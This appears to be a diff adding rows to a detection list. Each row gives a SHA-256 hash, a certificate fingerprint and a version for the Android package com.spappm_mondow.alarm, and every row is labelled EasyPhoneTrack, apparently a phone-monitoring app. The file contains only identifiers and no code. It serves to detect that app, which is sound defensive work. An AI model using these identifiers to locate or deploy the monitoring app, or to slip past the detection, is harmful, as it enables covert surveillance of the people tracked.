+9a01634521ba9419bc4b0e593110a8e5d9acab61e0e25b9758038e40ce215372,com.spappm_mondow.alarm,0F8A4EA6D5047EB48F7010F49B8D462CDDDA74D3,265,EasyPhoneTrack +889f3a02114ddaf13744814e8c2dbbd2a09763233ce7a7d754a0e81522e63a21,com.spappm_mondow.alarm,E7A691B5F619F5275B0301E802CA794141A6D958,265,EasyPhoneTrack +ded982e6848816f165f816e9b964ccdb8189cac669063be7d0e6c29c8179be66,com.spappm_mondow.alarm,5F41AFBFCE89E2BCCA3D52052CBCCCBE6C482C80,265,EasyPhoneTrack +fefb027306a82a227d1d33675ec33f0458769ae24a38f3a22781219035bc18db,com.spappm_mondow.alarm,6A5459B62C1EF9E94BA9E3EA2E7353403C966B1B,265,EasyPhoneTrack +b0af347fa7253923d267ccf9f24006c9bfd16e5023ecc0c601cc3bcebeda9691,com.spappm_mondow.alarm,FBB681A2F13614C9B90C9E3CEB49855AD67EE7E5,265,EasyPhoneTrack +9d182efcf3897d00e844e748246ec746b7bf8eb69b0af444cfeef4df7c8e8e4a,com.spappm_mondow.alarm,4F728E46252E7F2C03B2C9E9E942CBBC9E28C2EA,265,EasyPhoneTrack +e25c5b688fa10f5271c991458549f84503e88e5a73dba4899d60beda2bac91e0,com.spappm_mondow.alarm,86A4EDC42AD7736F243FCFF3730F3630504B8476,265,EasyPhoneTrack +56da18be2d94cb7de04a528f4cd4aa7274278e36a931f8f513f6573ae5298d25,com.spappm_mondow.alarm,528EBA355A97D2F0A3B47AB6B90F2AAF411EF38D,265,EasyPhoneTrack +26bd56b34e54c8349794c71f569bf84c631694700805882ff07ca09fad35afc7,com.spappm_mondow.alarm,D88185A75F3EE91F1E6D6D2D345E2D5F5308DDA5,265,EasyPhoneTrack +3608b243fe48ff4506688f5ac1bada2a955a9ce31f85ff7abac26257af48453a,com.spappm_mondow.alarm,8F159DAF4FA8BCC9A4F894A83AD710A895D19B5B,265,EasyPhoneTrack +55cff1b05b3a83b3d3945a45cc05117920d80b19c8013a7c8131c3fe728fcb53,com.spappm_mondow.alarm,89D5CB412BF1D9120C0617F0E76EF4442D70DD0B,265,EasyPhoneTrack +f1a626fa763e2459c767090d6f8cdbb138f2318e62541d4a9fe36819b09c1464,com.spappm_mondow.alarm,740845BB8F3CF387CAB82B63DCC06C25038A22B8,265,EasyPhoneTrack +5e06961253eb21c6b3fa27b95af94bcfc065ea6026c587878006fd35bf5c4680,com.spappm_mondow.alarm,EAD3D515CE7AA5F978C953684578BBF6EB8000A7,265,EasyPhoneTrack +88997c10e8a844e834bf0febff9614ba63f8802d40e863c40fba760b7340524f,com.spappm_mondow.alarm,62A3EA1F0CFB9644ACF8CB49CB0003FBCDBCFBF9,265,EasyPhoneTrack +e53687abb8896380e0ed3f8d24b6ee06b4e54bdeb9ec44d20cf9cba0437c59d5,com.spappm_mondow.alarm,8CBBBD55AEE57CA477A73DFE4025A30AF300B1B3,265,EasyPhoneTrack +29cc4d3ffe3d463da88e4f754b9493a95803ae4fbfa3fef923a3462b6ff6edcc,com.spappm_mondow.alarm,89070D22DF9E0F2F0C711FEA0C8C19A778D7AA55,265,EasyPhoneTrack +cdc71e5343eb64330b6ebd3a779941c39498b3cae42445d38032d1ebd0b6d5e0,com.spappm_mondow.alarm,D10D50BA1FC996DBA6B10667A16FCF2DAEE158B3,265,EasyPhoneTrack +56c445a581b29c776d0770a18a8b3681df618b3bfe3752fdc0f7c5f3fc46879b,com.spappm_mondow.alarm,80A8FE1D75CC7B0E17C6247D89E135A5232B27B5,265,EasyPhoneTrack +8ddc1d342dbee8468b0a88cc1cafcfd6990704be172ebae0564ffb970d85cd64,com.spappm_mondow.alarm,765B00F392ECB11C2EC2C874BEF6BFB19668C375,265,EasyPhoneTrack +b6c797286880d0215deb0fae7c51f785034ea8b28dcce407a2cea2ded81ea396,com.spappm_mondow.alarm,E12FE97DA392AC6A954528A32701A47AD8871385,265,EasyPhoneTrack +f45e01efdd8fb3541468a7e11d0db42f8b8aa78b5c8d889b6177c18f9778e287,com.spappm_mondow.alarm,3B744FF30C9FA4E05B0661F848DA3ADF20B7292F,265,EasyPhoneTrack +691044d89ec772196fb1909b458b73281995ebcd497cdc6fd0c8113527ed4402,com.spappm_mondow.alarm,7D81B19B635E4ED56947A5E534FD3D729DFFDFC8,265,EasyPhoneTrack +b29bd3e09155d7a49813fa8af702a1f1f844269d9b83ec143a060da9661654e3,com.spappm_mondow.alarm,146B968B72F30E8F1F92C54DF232A69A2D7BFD56,265,EasyPhoneTrack +e7f907c58ee650acccb28feadeec573004333865973f695038e640e836e1566f,com.spappm_mondow.alarm,A70BD3192984FED4172CB0E0F6FF2A6FBEB7FE4D,265,EasyPhoneTrack +6c5e12558f44e583e111d86e19b2895e61f4b7075ee4381cdeb31c3db30045e7,com.spappm_mondow.alarm,EC20F9007322B4152BE860E1D434CAC70057CE6E,265,EasyPhoneTrack +699937805f079f81daf9ae3b94d375776c10ff9472f8f2492a9458239e0bc8e4,com.spappm_mondow.alarm,AFB6D436570858711892D305C83BC702D6F49454,265,EasyPhoneTrack +bd1e8aff7cd92fd8d002a0f4edefea78846cf23c867c5bd05a7f5f41b3196a6f,com.spappm_mondow.alarm,92E40C3F8E1B3FD7B8063416DAD4EA9FF57CC5B5,265,EasyPhoneTrack +cbfffb70081d7415e446453b5839ea07939ec683aaff58da6b20cdcf5e2b649e,com.spappm_mondow.alarm,98F9BF70D22077E30B8C9835057BC41CBCBF53EE,265,EasyPhoneTrack +377fc8fd59a7ced2eac1b992198d45ce28069a972ba054dfd1d6acc29c261d26,com.spappm_mondow.alarm,6BEB8D8F6881D19467A9B200D65E447AB1498CCA,265,EasyPhoneTrack +33cef8e720777aab12c73aee039d2713a051cf1b3a52253925f99ab45676ea35,com.spappm_mondow.alarm,3A2226B11AD4F3190B4A1AAD4D9B4150DE0E2D97,265,EasyPhoneTrack +1b1ed5b560acf5097b5ad94f295eefdd04462ad7b81195a19d235a3764f68dbf,com.spappm_mondow.alarm,4026BF925E8846397DEDA229CB5FD2DC74F58824,265,EasyPhoneTrack +b39744abd0e18d0add341168afd09d6835de13d9ccd3ba29a820e8141aabca6a,com.spappm_mondow.alarm,4465C19EA6C5A9A53FA060D88DB2C382E99BADAF,265,EasyPhoneTrack +a1258bfeec7ca454c47ea9081c8fdce415eeb2287cc16675fd0818ab6e8128dc,com.spappm_mondow.alarm,D61B2A4555A795F1877C4EDF393CBFFBE0B1FBE6,265,EasyPhoneTrack +59e04f912f12bae1ae97596d3bfae4033cf9761b0e39f700010941f4ea86f0fb,com.spappm_mondow.alarm,F02E26EFF26D08E7EB8677907545B9BBE8FAB683,265,EasyPhoneTrack +abe0f911850cc3bd67f6c2679461cf86cbe4b970075d9bbdfca8ecdba91f365f,com.spappm_mondow.alarm,18A8A3BBD90AFF3BBFD6E726575C140C99500256,265,EasyPhoneTrack +a44cf392d5df17ef62abbcfa93d06169261e836ef0a67f4683694af5d6cb031a,com.spappm_mondow.alarm,02A0891C3CF052AED6D7E5295110E54F4C414965,265,EasyPhoneTrack +c341e34f9c38afe6db3310caa8bcce72361193c45b411e59d992c6d395dd2ffa,com.spappm_mondow.alarm,F362D4B3B86B9596699C973B437D96DEB92E16E2,265,EasyPhoneTrack +6688fc2d774c9282055b90036d5fed6a31b4bf08526becb2b90af14b1ac0a61e,com.spappm_mondow.alarm,AA3121BAD1AAD7C3F22B65C9C99DA78DA80AE14C,265,EasyPhoneTrack +cc892d305a344bb4499d37e42aebb14eb2c41d8efae723860f25310559203cf0,com.spappm_mondow.alarm,464F119A5C834245DC9FBC2FB80600D7EEDE9737,265,EasyPhoneTrack +4859f1e98bdc7e02d7170099b09bb1cf90dbd7686e95a5a3661b10086976308c,com.spappm_mondow.alarm,871A42AB7396E10484137AE2CF7FA0663EE6E40A,265,EasyPhoneTrack +6443a4d618a84a9f9b1d71a25794a2b0f52c3889a0ce1b681018e944d9ed1374,com.spappm_mondow.alarm,B25074886BCFACC0C19AF61F4E78FF663F7C8590,265,EasyPhoneTrack +43ee3624363465d2bde6c2e9da04ebc42ef295bc920a335f833f9393c806ec9f,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +cd1e3425f0e2d6197267a8f12750c32be908386ad4159176ce37c547a00bed2f,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +8c888c1d8c326aead99264bff007477199acd67dabd2d50a45d0f2e75fee99ac,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +84844503f75810fc187976bc38128729b7f3ae60d613e99702e899d12af1f006,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +408524777b2f32cf95ee37494383a587adc1007de008eb12946d1e4d1a3ff9bc,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +8316c3cada6a7dfb8cd564727ca17a8059d4abbad53858e3fe5206428d6a6139,com.spappm_mondow.alarm,785B82733CFD45AD058EBD0AE18D451DBC44FDB9,265,EasyPhoneTrack +68480ed3ec94e8d4d3bee024c9deaf6976ac8c22e307e03ed5b3dc64ba327996,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,19,EasyPhoneTrack +548ee47f11e4f5effa9bec1a8eae3cc265189d7312d176e4976670483184524d,com.spappm_mondow.alarm,6D59E5D0EF113B53A51C75DE713C96607BCD878A,194,EasyPhoneTrack +d5dc775518a877754e11e71e3fbd494db5721c729fc7b98af014ad64dea4f90c,com.spappm_mondow.alarm,18FB7555557D9FD639F159AE65F964AC08182F2D,265,EasyPhoneTrack +4795eab2c6fcafbf12b7bf4b20bad8adbf92571f4c492239ceb33bd5fba18759,com.spappm_mondow.alarm,FDCA9876E7655FDEEEE5B676FDABA087F435DD81,248,EasyPhoneTrack +20d23614f89fd772a624e0a92a1408250b2bbe0e78e67d42d3d1fce830a7c12a,com.spappm_mondow.alarm,3BDC38901CD6F800D61DF9B0EA40A1D1F0B9616B,7,EasyPhoneTrack +4076323296ffa0b025e11d271f11b92db3dda5cbc8969fa0aea1b105c3bc03fb,com.spappm_mondow.alarm,026C40FB547E37D58002B568BDD8808D2CD0D380,214,EasyPhoneTrack +96e1d8a20a9efb64e492a02cdabd3fc967237c12418c1e0441271be2e2307c36,com.spappm_mondow.alarm,AA96B292511D5B5CA96B2D7B3B986F3BCFD0D80F,52,EasyPhoneTrack +606b00397a93e198be1103d8fcbfac6a4ad9e2b0f92259a0efb6462a86e73d15,com.spappm_mondow.alarm,355F8396CB5ECB4B3F0343F322B473759ABDA03E,259,EasyPhoneTrack +b2102e5a12741c12ed963e52a12b17b854e9482d2d473cf1913d90583039d9a1,com.spappm_mondow.alarm,13788E4FF47AE4EE88683519CFAFE65ED50083D2,6,EasyPhoneTrack +e35d62604b673c4c99d8717042a25761ca31c2d61af34ee6ffdcc12bb59f6269,com.spappm_mondow.alarm,0A1A0BACB42630575D9D62C2A731C42C8E218152,297,EasyPhoneTrack +fbabc6599de4d321f584c858f8214fa0f78c5eeb94209b02978f45ab1f61739c,com.spappm_mondow.alarm,456939C0B97CCA322699A302FA5A9EC156799E5D,293,EasyPhoneTrack +eeb8cd56ac99ce268e4c145af20f30fd7b955ed1a67e1bd97ecfd6a8961c937a,com.spappm_mondow.alarm,D43B7FFF07513744C7862208AE04FD7DC6CFB38A,283,EasyPhoneTrack +7920df89c7c2da25b8708b78fb05129eb23281f28c94ff6961dfa80950ef866a,com.spappm_mondow.alarm,93866A91B20EFFBDC6D959DFD98DA84A8BF4A092,287,EasyPhoneTrack +6a7cfc132c31e15de202a6386f4ef61187a31ffce31d38a7fff8b10a71ad7d92,com.spappm_mondow.alarm,0AF2CD6CA68B6B4E807846B598225F8232B9A152,272,EasyPhoneTrack +c043700e76721f0807d6ca882fe5e268fc561fb45e159e95253771c97c6d4d04,com.spappm_mondow.alarm,DD299EBE8524747380B7E19D148A091DC9E98C63,286,EasyPhoneTrack +6c2d3161d2198c99ce6966a4bacfec842ed90872eee17a183f5c2b326afeaed3,com.spappm_mondow.alarm,52C41BFFCA0DB9214BD16EC29FF0A1687BC39C86,284,EasyPhoneTrack +0b336a74a85635956783e20b2546df1629b82777eacac25c42de6232aff46623,com.spappm_mondow.alarm,D3F48F57FD7826E50DC672D834FDAB7F66DDA463,264,EasyPhoneTrack +52957703e8152f9fdf84b58ee0a2f82e9003c038b33898e91553245df207a9f6,com.spappm_mondow.alarm,ADE101A5C3C184A4590B96B2322475CB0740B7D5,245,EasyPhoneTrack +e6bd874ec39b692e59dccc334ff6f047030c4bc3843ab7003bc6088ca720639c,com.spappm_mondow.alarm,9DF44D8E9A61B868DACFB34724D33FC078BEA1D2,225,EasyPhoneTrack +b24256be131fd2c3a6147bcb0f55d686caf7b5c9c65c992cbc9aa6ffeadda0fb,com.spappm_mondow.alarm,8A2C39E316DC7D36AEEE51B22516F64D05A6E8E7,212,EasyPhoneTrack +eaab7396e895936d1cd05e8afafd6cb5f45261cca14f2860518b798e06b2c3a8,com.spappm_mondow.alarm,C5EA5278F2A45A0D36C934E8A24827AA79C2B519,201,EasyPhoneTrack +2d307581534d775ad5c10fc8d228d58710ef3b13af296d1aff0c79350d3eb939,com.spappm_mondow.alarm,4E86B04D5741E485632D39EF60078015770C690F,112,EasyPhoneTrack +5f02287d99b38f82880a6e36f671538be7bdc1961798b309d36158343837c586,com.spappm_mondow.alarm,A6E22BF07AB39C8821C3DB508A3523E86F5932F1,97,EasyPhoneTrack +d51aa5d0821fbd9a011b681dc02cb1e606e5b62a80575dfade8dc70a6492646d,com.spappm_mondow.alarm,BBD2CBA895B034CA23C84F4F6F2C5371D7C232F8,91,EasyPhoneTrack +b55fd3b1c5f4a561d4e17c3b67de23b9677c0a8556717a7dc5c77703bd0aecb2,com.spappm_mondow.alarm,B121C4F2D2DCB15E530EF1F204F3EDDC9B49A07C,6,EasyPhoneTrack +aa7cde8b5274189351a23180949d8e8eeadc8ec3dd5099088d617ca71d94dab8,com.spappm_mondow.alarm,6DB0B058C8C4D1501028C0BCD8577C5814F5DECF,6,EasyPhoneTrack +b6daef6c4b551daf5d319274a8f7dddf5ade40cc27ef65fe12ebd0f8f6a02af2,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,5,EasyPhoneTrack +e86acd9f88cdd1cfb985867d89bf9ae60966561fc8e8d4dbd5feed09a5b03edf,com.spappm_mondow.alarm,556A45B83915C57A9713BB14404E4DD03248B1DE,6,EasyPhoneTrack +c3b1ac81e5a34052d1848632fd2a6a7ceb548d34306236d8bd5e8b67989b4a3e,com.spappm_mondow.alarm,6975C28E1531871C074C64BFFFDCB599E91D7E5C,261,EasyPhoneTrack +c35bbabda056857c859b9fe74d89f80e5f5459d8985ed392d0bd9857879e8eb1,com.spappm_mondow.alarm,355A6E2BD0F69CCAF88080050910B842FAAFCFCA,58,EasyPhoneTrack +2a8a013f6a8569ddf7c7f031f6fe23871808c946861448258b063325bbd06827,com.spappm_mondow.alarm,809B64C6498F314DAB4FEBE3ABC188F7F929372D,6,EasyPhoneTrack +e3804206a56eb2de7c19d867f09763cc8e9953516a101319454b2564ee0a1ad5,com.spappm_mondow.alarm,694EBD37C3B86DEE3B3F8D2FCDE28BF485816097,6,EasyPhoneTrack +7d7e92f04e032d07e446b5146fdb6719ba571b954f89ee28425e82d277f76132,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +7cd5c8754b36c4fa8444d8e6463b7fa67462222944bf5d272484028ad2c05539,com.spappm_mondow.alarm,907AF67101BF8FD7B201A6472CFB119CBC958069,57,EasyPhoneTrack +20fafd15c2f2551f2bf73fbcb1ca4f782e9c9ba9d19f1433fde482324f965826,com.spappm_mondow.alarm,36DC156D239267CF428D59F3911654B9988E33F9,3,EasyPhoneTrack +7f9e394324f0782cdf0a3c9ec3e7e687e011f0f1001589a3c9d0fbacb12ec3d1,com.spappm_mondow.alarm,9FEBFAF6BEA4D3401F97007E1AB0F895BD0CA61B,54,EasyPhoneTrack +7bcfa73ca0eb5ca0b041246eae9318e655d3a0062a6910912c57aa8e5e18fd32,com.spappm_mondow.alarm,185AB2AF989E028D73B06D67AA80C01D26B77B37,6,EasyPhoneTrack +255c13be70626dffe5465155c13717a275ad2982b2d863dcd8ff45b4544476b2,com.spappm_mondow.alarm,A536BFF9B7FED9F7E631021A8CE89B131A417F99,6,EasyPhoneTrack +3f053b9b516fc4b03180e7da2aec5dfe4c8ebe159bf3d2ba7ed5bd63ee16eb14,com.spappm_mondow.alarm,C6075A3CAF8A8DA75C8592AB8DB0BDF228BD8465,53,EasyPhoneTrack +6a361de33a47ca78bb19bfff26990ffcb6a432acf0533afd319a975127fe31e6,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +17dbdaa0b17821cf041a32c198841c28d7b591a737a8784577f3129017803e4f,com.spappm_mondow.alarm,9FADEAD46FC9A3FF57CCED45E75565076AF023F3,8,EasyPhoneTrack +3789a93366736cd64a9e39b21d132835cb8c19294c8fd38718771c7a24934768,com.spappm_mondow.alarm,F57266DF8BADD740E77710A43C6DD02A4DF702F7,254,EasyPhoneTrack +4c13432bc075debc27fa85dc71919b940c127706a37384b7304c49ef15f1e260,com.spappm_mondow.alarm,37E128030CF62624EF9EEAA1F1D2FE2154BE6033,6,EasyPhoneTrack +b39cb99bb65c871f3f757b1e2c2e1bff2809315f66922860480fa3f7c21e7334,com.spappm_mondow.alarm,243957C60C84A6FCA33E1D648B6CABE80D8BAB82,6,EasyPhoneTrack +0c7361891f99343f09120f259c27de9e961606737b31c989054a150acc1e4096,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,4,EasyPhoneTrack +cb63a800759e3ef4328654e19765912fb7f20eac6a88f3779c5a89cc63541931,com.spappm_mondow.alarm,DE55111AEFE8B6F330AFA160F4760E9F1BDEF0BB,6,EasyPhoneTrack +296e2b1013ffdb4ca9e1f2aeac43cdb616bf21ca4db89dd365e55a41c9a97d8f,com.spappm_mondow.alarm,48DD0D8DFE1EA41F984ADD4D3A73962F43AE9E77,6,EasyPhoneTrack +6dae39f366fa6f5063b0767da755485ca3fa30ebc7d164f89fe328cb0f5c7979,com.spappm_mondow.alarm,A8F4D7F2B639B0233612694D2B3DCD6ADFE1DDC8,6,EasyPhoneTrack +637587d5016c125b3c3e9fbe6f8bbf2f1281c229cef448a1079bf2a6c9ce8678,com.spappm_mondow.alarm,5D48EDB19345EC43509F9426906C7E7C1205F8A0,51,EasyPhoneTrack +4aec0c6f000a9a3efd31a068ac8147071f5cd643158e1e12b9dbe76079523e8b,com.spappm_mondow.alarm,7D551292B463134E4A1C17E91B59AA8DA6B06943,6,EasyPhoneTrack +5348ea91af006dc2f9aaab7ffbbf37433fcb48e939d4af5dec4707f662242db3,com.spappm_mondow.alarm,BB7776AB60B313299860AB3475FDC2AB56254B20,52,EasyPhoneTrack +7166dac8b98567d6b7fb21f96bdd31a106a734aae00524ac54bd6468d55e1397,com.spappm_mondow.alarm,431363E2BD93528508B2C8C2805AC5B942A01D77,7,EasyPhoneTrack +ca3e9753a1d65c23a597accb972f8e77914623e66d6b00b40b2bcf671d65650a,com.spappm_mondow.alarm,A88E1B725655C4D8EC46CA0648E7F9C205A02ED1,6,EasyPhoneTrack +b43fea62b338d2121019668c43887d31370b46f0f16e6385dc08d761cb268809,com.spappm_mondow.alarm,05BCB325EF2D0272D515B609FAE901A2D1917320,6,EasyPhoneTrack +d3f1719faac2f90a2ee1c93142e371cca8dea878b719595d9782e0abaaa18efa,com.spappm_mondow.alarm,C626FA969146727972862AB58A033624AA8E5182,14,EasyPhoneTrack +fbd776c7f0fffba0b7fc308c19ae5e135e0480dd68e8b1678fa317653bade712,com.spappm_mondow.alarm,9C5C570B707DFDC9F187F6F2AB2DCA0698707C8E,6,EasyPhoneTrack +3e1bf2d14177f8a2f6a741a7c10dde10cf1b978dba5348d5a3c833063324a8da,com.spappm_mondow.alarm,84A08EDFEF3FC507175C728B85F9F5F13FE2D52E,6,EasyPhoneTrack +1461934e90e9d85235c560c7fd6cba63d164ad3131637887c26a11fa072e44eb,com.spappm_mondow.alarm,D46C2AB1C85C3A613F98FA7B1FC7C9E5159DEA4E,6,EasyPhoneTrack +dd98ecf65137cdc0976e7ac148e6534d9a35ba35b80c29355fb61e1268f1e3b8,com.spappm_mondow.alarm,D85F5B6E0C1BCDFE27B33794C3D95CE75D6183FB,6,EasyPhoneTrack +5840208d279346be5eee45d37974ac84b0544ba4ab5bf33cf43fc2856229532d,com.spappm_mondow.alarm,6D7284F15B9C47643F7DB87A2DE512417F1CA144,19,EasyPhoneTrack +f0e9abf69a032b9410e2fb5435a746281a03106798b9ebf5ee4c16179ebcb8cc,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +5efd374cfa16e22b98dae9dcb7271f2fa6ef7ea2dd9bfc4aca69c63316598b67,com.spappm_mondow.alarm,BD6E7768AE41D5D9F7F783F36F40868F50BE84AA,29,EasyPhoneTrack +3d6cf144b9271318dc6ff69f816b1146d4a98df1fde683cf094f56643fe303a0,com.spappm_mondow.alarm,814D878DF6FCA6E2B6BAD9CB5DF48317D5E91C7D,3,EasyPhoneTrack +21ae4d2d711f8e43d9c6c392eb500fb4e50ebe3619374fdcaca5f4bcf0d80097,com.spappm_mondow.alarm,2A24AA06B9149FA019B073E2A384F570E3407463,27,EasyPhoneTrack +4ca1d73777daae74434554bacc4117aab2e8f59f23a2da27abf28b9fa3eff70c,com.spappm_mondow.alarm,F74DCCBF7C90229B72B4093906C921863D79550C,40,EasyPhoneTrack +0e2384f3d31a1e7c1de6981c12f161c394f847d5f4aa30f18d57303858486b62,com.spappm_mondow.alarm,814D878DF6FCA6E2B6BAD9CB5DF48317D5E91C7D,3,EasyPhoneTrack +d6ae9663d1b19c24535aeaaab2e30850127678156714c5ecfa57de344c6bc587,com.spappm_mondow.alarm,D33D66ADF34F7292BE1EE7B21F72EC92EC6B7ACC,6,EasyPhoneTrack +2586e31cbf5a15b90fd0222924d65d91cdb6cf9bbc6f217fd296fef374148904,com.spappm_mondow.alarm,BA97D1EE2CD3FE344DAB4E100A01EF2BD9C985C2,19,EasyPhoneTrack +8a774189b1f2fdd739b44496c45af6ad34217631d66761c5a5f3f19ccf126e28,com.spappm_mondow.alarm,F669B936A50D45290391FDF1BC1814D89721136D,6,EasyPhoneTrack +66d235680510108e24bc46a9fcba2cbf0def62e3260af9c4a0e632290977dfa9,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +94e18a9df302aa032db37fc26035c86d830425f54c14cf7439112827fb27211a,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,4,EasyPhoneTrack +60b7bf65a51125c2addb017ae12089425ef554d4552e2d0f9d29c882d47b623b,com.spappm_mondow.alarm,6B24707D545AA12D0A3DB724E05FB6EDC0FE7904,68,EasyPhoneTrack +3dc8b5aa1df931f2a9dc9d8ad860854f8d94a9b08ab9c1139704b763aecd54ed,com.spappm_mondow.alarm,8F183DFD242686CF6B6F2E03ED57577600EFF400,6,EasyPhoneTrack +b1f4692d9cbcefefbfe1b92705a08cce408a6881da227b7b7d739bf2aa2cfb46,com.spappm_mondow.alarm,FA48BC17095F14E7DFCF4D04D2ACB54D183BA6DE,151,EasyPhoneTrack +5316d09ab58704857dbf4a94c928edb9880cba704be929c9e1040e0e0d76a0dd,com.spappm_mondow.alarm,AEDC1BEC1A4F0AB51446A6190ED257247D1CA1E8,6,EasyPhoneTrack +d47c8dea59b28cf7a102eb7f8619bf78575b44647ac4d03592683f75ff562370,com.spappm_mondow.alarm,775FCBFC736FD6F4A676F99BFBCFA2C26B4CBF54,6,EasyPhoneTrack +5fef1e2bb2a80e28750490b1c9aea09e8a62a06c667268e3b7d732fdd78f9ccb,com.spappm_mondow.alarm,7D1E67E5497FEF050090F3CF5356CB562471B58B,7,EasyPhoneTrack +8faa900b48d6978504e7a3088e8cee47c11e5addd6c75f4aafd9fbfc3d3a6650,com.spappm_mondow.alarm,21437E91F98E824206D9600803216BC5C07ADAA6,32,EasyPhoneTrack +c8c615971da21464145f4ce476a85d6514a6e8fb07fd35f37162fbc9abd1f6b4,com.spappm_mondow.alarm,29AB7D6225A7A1092B17BF585E79855E96F424FD,62,EasyPhoneTrack +5e636d97d015a677110826d93ddbaa3fc6ede7d11f404777e4d65694f7db61f7,com.spappm_mondow.alarm,4C289D00F80F1938F5E755E01D98891713DB106B,142,EasyPhoneTrack +04dd2e4d0011e42aee32f3dcfa0cc41e3ac03f845f3948aad1c590739960cfab,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,5,EasyPhoneTrack +5754e39685ee1fd32e5ade10febf1915758a52eb96e8cb3a21e0e7e78c50430f,com.spappm_mondow.alarm,26353C2A78D2C0453D007099D1226789D9EBBFB5,6,EasyPhoneTrack +8e1dcaa681acd6620e1639c2bf8304742a531c2489a40e19601305bba004fe62,com.spappm_mondow.alarm,BE32D9716044A1DD35FE2A51C313FD9C59D81F29,255,EasyPhoneTrack +946c1caf95131f5743f070e8cbdc07d8386df739754dc15026dcb0d03103a66d,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,4,EasyPhoneTrack +4fd292152669ac42d67cfb11d73ea721edd6639e07bbbaafcd8f744b0b31c9a8,com.spappm_mondow.alarm,83CB2EC0C698B09D7909693041A8F353006B3291,6,EasyPhoneTrack +38a0c2554d39f68d9269d96cafa20d2216593cc7df65afefa9472204ae97f1dd,com.spappm_mondow.alarm,BF7D69CE77E934904255E09AE215403FEFAFD357,6,EasyPhoneTrack +76f39e72a82d16eec9ca3d5e950a8bfc2909cc96d034e3490485dc5d0de23846,com.spappm_mondow.alarm,915701679527DCB978CD712DC95FAD47F6390669,6,EasyPhoneTrack +717367f0edc134d00f14298469a24cd8222ed0bafe15485eba59c10e542a7ce1,com.spappm_mondow.alarm,D503E1AB0935EDB29DEC6906788AAB1B8F19FAA0,6,EasyPhoneTrack +2e6d2fc66305c4dc9573e4e8128abf4a83c4df4825b323c26cebd076258552bc,com.spappm_mondow.alarm,0D125AADC899E812152151E957E2CDB198FA9E24,18,EasyPhoneTrack +a1d9ac7935b969851f8e4cefeddff92d10b80e2cb20b59f392298e45b614bb98,com.spappm_mondow.alarm,9477420001BC79500623374EC586B054AAC97BF9,6,EasyPhoneTrack +6c1666d714f893b601358d37e81a3a4fcfbd7c6cb28fcbc27fccdbb449ae66c7,com.spappm_mondow.alarm,B8BF2D9BCDF192EDB97DEABE313685B0D00851FB,6,EasyPhoneTrack +e6141f894baeabe75731b4a9ff20cfee32bd5c94cc9ac1250978c5344eaa5669,com.spappm_mondow.alarm,20AA4DC3559C99EA395CAEBFD1E390730C61A1AD,6,EasyPhoneTrack +69f66fdc7d210dee6bf8cdc8a3dfb1dba7210babf881a52df5aff330a7da6add,com.spappm_mondow.alarm,D641686CC5B25BE57604EA517B1D3743FE09B4F8,23,EasyPhoneTrack +aa6f421c9af6f27f683923f1b3d7cf72dabaab2b68aa84fcc511aaaeab4dfda4,com.spappm_mondow.alarm,E392CBAAA43148E2B4DCB75991F51194FB5A1CB7,6,EasyPhoneTrack +708976ba66421e4fe8086d077efc2d7bea2c7c34f74bfc4ca4132aa18a66309a,com.spappm_mondow.alarm,1796697C739AD5AD7D48596D06A3D477C5E83AF9,43,EasyPhoneTrack +ed35de1346634a83394b5cfdaa79fecc59bcdbeea742efb7022b3f606e19fbeb,com.spappm_mondow.alarm,3E9C53252C84E72A42CA07097508EB96C68AF948,6,EasyPhoneTrack +5cd9b30463e655bf19cbe85af02328e09fa88e8d1d19a42be6656c58c403e573,com.spappm_mondow.alarm,51E3E35006EDD374B551E9D7641358954474A39B,42,EasyPhoneTrack +c94c6c7602208bd54bb3ac379799bdb742d25cfc434ac2d395945509d7e376e9,com.spappm_mondow.alarm,158B59244FCB8C384410AEEDC52F935EE391CDB8,45,EasyPhoneTrack +0c42f0f95516195ff77951a3e91f42ecee67c499017909d357092f85bcdcd046,com.spappm_mondow.alarm,919B29493237E0EFF64FA1A8B58084689864AAA0,6,EasyPhoneTrack +f7340232f6574f9b56126fb1a919dcb7ae506c7303794561fe4a50a93e9d084c,com.spappm_mondow.alarm,7DC26C6FD5DD8E5F3ED0769B27F0C0F339A6FE1F,6,EasyPhoneTrack +ed50b3cba42d9ededdb86a7c4465df0db40a7551b4da4b3b609961ba8c22d00a,com.spappm_mondow.alarm,ACF2F680B0FFAC2840389CD976FB0F5E22F3A7D2,6,EasyPhoneTrack +e3c3bbb80b8da68d981239f2d011524b30418d77cb9946f7ed2f2644adaa8d5a,com.spappm_mondow.alarm,A9CCA99E58665E51BF92952742022FFFCF311913,6,EasyPhoneTrack +1d3deefa89c7bcb856826e4f56b23fd58645ac69e1e5acbd72290ce5a525206f,com.spappm_mondow.alarm,2B9D8FCE6E8FEA4383B2BF3DB1B1765C7FBC1CF9,6,EasyPhoneTrack +26313cde7a803b322793edf848c53d73beb4516ac439cc2d5e5dee5c593b7f31,com.spappm_mondow.alarm,F6F6B2A3F0F5C79CE58EC359681CC605A14F1B36,9,EasyPhoneTrack +73bd967166f9ad284bc688fae581a9331ea5404cbcbbb5f3b0dbfe412163f89d,com.spappm_mondow.alarm,12393772C7F07CFD9001F690EEF1BD01578D7EBE,37,EasyPhoneTrack 